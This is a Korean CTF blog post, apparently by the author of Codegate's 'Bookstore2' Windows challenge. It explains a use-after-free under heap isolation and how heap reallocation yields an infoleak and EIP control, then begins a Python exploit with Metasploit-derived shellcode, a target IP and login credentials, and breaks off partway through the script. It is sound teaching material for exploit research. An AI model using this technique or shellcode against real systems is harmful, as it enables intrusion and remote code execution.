부정행위를 방지하기 위하여 리눅스의 wine에서 돌려보자는등 여러가지 의견이 나왔었는데,&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;계속 고민한 결과 Low Integrity Process로 설정하여 운영하기로 했습니다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;사실 코드게이트에선 아마 윈도우 문제가 처음일텐데 여러가지 걱정도 있기도 했고 늦게나마 안 사실이지만 문제에 약간 오류(오타)가 있었습니다. (푸는데는 지장이 없으니 다행이네)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;아무래도 마지막쯤에 취약점을 갑자기 바꾸고 주니어 대회 네트워크를 세팅하느라 정신이 없었던듯 하네요. 다음엔 이점을 주의해야 할것 같네요.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;그리고 문제가 다른 문제에비해 약간 쉬운편이다 보니 배점이 낮아서 그런지 처음에는 6팀 정도가 문제를 잡다가 후반엔 3팀 정도가 문제를 잡고 있었습니다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;아쉽게도 본선장에선 문제가 풀리진 않았지만, 대회가 끝나고 나서 몇몇사람들로부터 문제를 풀었다라고 답이 왔네요!&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;끝나고라도 풀리니 다행... ㅎㅎ&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;이번 문제에서도 마찬가지로 Exploit 방법과 POC코드만 올리도록 하겠습니다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;/p&gt;&lt;hr style=&quot;display:block; border: black 0 none; border-top: black 1px solid; height: 1px&quot;&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;b&gt;Bookstore2 Binary---------------------------------------------------&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile10.uf@224BF34F5531FCF82BE1D5.exe&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/exe.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; bookstore2.exe&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile24.uf@245D944F5531FCF9209686.bat&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/unknown.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; load.bat&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile24.uf@2644BF4F5531FCF92D1806.exe&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/exe.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; loader.exe&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;--------------------------------------------------------------------&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;Server Environment&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt; - Windows 7 Ultimate 32bit&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt; - Low Integrity Process&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Vulnerability&lt;/p&gt;&lt;p&gt; - Use-After-Free&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;Memory Protection&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt; - ASLR, DEP, Stack Cookie, Safe SEH&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;문제의 컨셉은 예선에 나온 bookstore와 같은 컨셉으로 서점의 책을 관리해주는 컨셉의 어플리케이션이다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;b&gt;참고로 이번 문제는 환경에 영향을 받지 않도록 제작한 문제&lt;/b&gt;이다. &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;그래서 단순하게 바이너리 안에 있는 정보 만으로도 충분히 Exploit이 가능하도록 만들었고 동일한 Payload로 Windows7, windows8, windows8.1 에서 유니버셜하게 작동하는 Exploit을 제작할 수 있다. (그러나 win8에선 Heap Allocation 문제로 약간 확률이 떨어지는 현상이 있었으나 Exploit이 작동하는것은 확인했다.)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;문제 취약점은 Heap영역에서 발생하는 Use-After-Free이다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;이번 문제도 리얼월드에 가깝게 만든 문제들인데, Chrome, Firefox, Internet Explorer 등에 적용되어있는 Heap Isolation을 흉내낸 문제이다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;바이너리를 까보면 CreateHeap 함수로 새로운 힙영역을 만들고 그 부분에 Ebook과 Book 구조체를 할당한다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;하지만 바이너리를 살펴보면 특정상황일때 book이나 ebook 구조체를 Free하지만 그 구조체에 대한 포인터를 완전히 지우지 않음으로써 발생하는 취약점이다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;보통 지금까지 UAF라면 특정 데이터가 Free되서 새로운 string 힙을 만들어서 쉽게 free된 영역에 Re-allocation이 가능했을 것이다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;그러나 이번 문제는 Heap Isolation으로 인하여 Process Heap (이하 힙A)과 HeapCreate로 생성된 새로운 Heap(이하 힙B)에 따로 분리되어 저장되는것을 볼 수 있다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;다시 말하면 힙A에는 일반 string, 일반 데이터가 저장되지만 힙B 에서는 이 데이터들이 모여 저장된 구조체가 저장된다는 것이다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;또한 UAF 취약점은 힙B의 데이터에서 발생하고 그 데이터에는 Function Pointer가 포함되어 있어서 Reallocation을 통하여 Function Pointer를 조작하는것이 목적이다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;그럼 힙B에는 string도 할당이 불가능하고 일반 데이터도 할당이 불가능하고 오직 가공된 구조체만 할당할 수 있다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;그럼 어떻게 해야 할까?&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;문제를 풀때 구조체를 분석해보면 Book과 Ebook의 구조체의 크기가 약간 다르다는걸 볼 수 있을 것이다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;또한 해커가 데이터를 완전히 Control할 수 있는 크기는 12바이트라는 것도 볼 수 있을 것이다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;이 점을 이용하여 다음과 같이 생각해보자.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;예를들어서 0x40 크기를 가진 A 구조체와 0x3c를 가진 B 구조체가 있다고 할때 A라는 힙이 할당되면 실제 힙 영역에서는 다음과 같은 모습일 것이다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;Struct_A ----------------------------------&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;HHHHHHHH&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;DDDD&lt;/span&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5; color: rgb(9, 0, 255);&quot;&gt;&lt;b&gt;DDDD&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;DDDD&lt;/span&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;DDDD&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;|  Header  |   ...   Data 0x40   ... |&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;-----------------------------------------&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;그리고 B 구조체는 다음과 같을 것이다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Struct_B ----------------------------------&lt;/p&gt;&lt;p&gt;HHHHHHHH&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;DDDD&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;DDDD&lt;/span&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;DDDD&lt;/span&gt;&lt;/p&gt;&lt;p&gt;|  Header  | .. Data 0x3c .. |&lt;/p&gt;&lt;p&gt;-----------------------------------------&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;이중 일부 데이터가 &lt;b&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Controllable &lt;/span&gt;&lt;/b&gt;하다고 하고 일부 데이터가 &lt;b&gt;&lt;span style=&quot;color: rgb(9, 0, 255);&quot;&gt;Function Pointer&lt;/span&gt;&lt;/b&gt; 라고 하자.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(203, 203, 203); padding: 10px; background-color: rgb(255, 255, 255);&quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:1160px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2753C7375532054818&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;76&quot; style=&quot;font-size: 9pt; line-height: 1.5; text-align: center;&quot; width=&quot;1160&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;구조체 A를 먼저 힙에 쭉 뿌려두고 모두 Free시킨다. 하지만 포인터는 여전히 남아있을 것이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그다음 구조체 B를 힙에 할당시키면 Free된 힙의 처음 부분부터 할당될 것이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위 사진처럼 할당을 하면 어딘가에서는 &lt;b&gt;Controllable한 데이터와 Function Pointer가 만나는 지점이 있을 것&lt;/b&gt;이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 문제에선 위 원리를 이용하여 Infoleak과 EIP Control이 가능하다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;hr style=&quot;display:block; border: black 0 none; border-top: black 1px solid; height: 1px&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;Exploit Code&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;아래는 위 원리를 적용한 Exploit이며&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Windows 7, Windows 8.1에서 작동하는것을 확인했다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;실제로 Exploit시 metasploit의 Reverse Shell을 붙여주는 쉘코드를 사용하여 문제를 풀었다.&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;import os&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;from socket import *&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;import struct&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;import time&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;p = lambda x : struct.pack(&quot;&lt;L&quot;, x)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;import re&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;shellcode = (&quot;\xba\x02\x27\xc8\x90\xd9\xe1\xd9\x74\x24\xf4\x5e\x33\xc9&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\xb1\x32\x31\x56\x12\x83\xc6\x04\x03\x54\x29\x2a\x65\xa4&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\xdd\x23\x86\x54\x1e\x54\x0e\xb1\x2f\x46\x74\xb2\x02\x56&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\xfe\x96\xae\x1d\x52\x02\x24\x53\x7b\x25\x8d\xde\x5d\x08&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\x0e\xef\x61\xc6\xcc\x71\x1e\x14\x01\x52\x1f\xd7\x54\x93&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\x58\x05\x96\xc1\x31\x42\x05\xf6\x36\x16\x96\xf7\x98\x1d&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\xa6\x8f\x9d\xe1\x53\x3a\x9f\x31\xcb\x31\xd7\xa9\x67\x1d&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\xc8\xc8\xa4\x7d\x34\x83\xc1\xb6\xce\x12\x00\x87\x2f\x25&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\x6c\x44\x0e\x8a\x61\x94\x56\x2c\x9a\xe3\xac\x4f\x27\xf4&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\x76\x32\xf3\x71\x6b\x94\x70\x21\x4f\x25\x54\xb4\x04\x29&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\x11\xb2\x43\x2d\xa4\x17\xf8\x49\x2d\x96\x2f\xd8\x75\xbd&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\xeb\x81\x2e\xdc\xaa\x6f\x80\xe1\xad\xd7\x7d\x44\xa5\xf5&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\x6a\xfe\xe4\x93\x6d\x72\x93\xda\x6e\x8c\x9c\x4c\x07\xbd&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\x17\x03\x50\x42\xf2\x60\xae\x08\x5f\xc0\x27\xd5\x35\x51&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\x2a\xe6\xe3\x95\x53\x65\x06\x65\xa0\x75\x63\x60\xec\x31&quot; &lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&quot;\x9f\x18\x7d\xd4\x9f\x8f\x7e\xfd\xc3\x4e\xed\x9d\x03&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;# calc shellcode from metasploit :)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;ip = &quot;200.200.200.5&quot;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;port = 1337&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;ss = socket(AF_INET, SOCK_STREAM)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;ss.connect((ip, port))&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;eip = 1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;eip1 = 1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;eip2 = 1&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;def r():&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;result = &quot;&quot;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;try:&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;while 1:&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;ss.settimeout(0.001)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;# ss.settimeout(0.3)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;tmp = ss.recv(1)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;result  = tmp&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;if len(tmp) == 0:&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;#print tmp&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;break&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;except:&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;pass&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;return result&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;def s(a):&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ss.sendall(a)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;def login():&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;helloadmin\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;Iulover!@#\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;def makebook():&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;1\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;s(&quot;1\n&quot;)&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print r()&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: 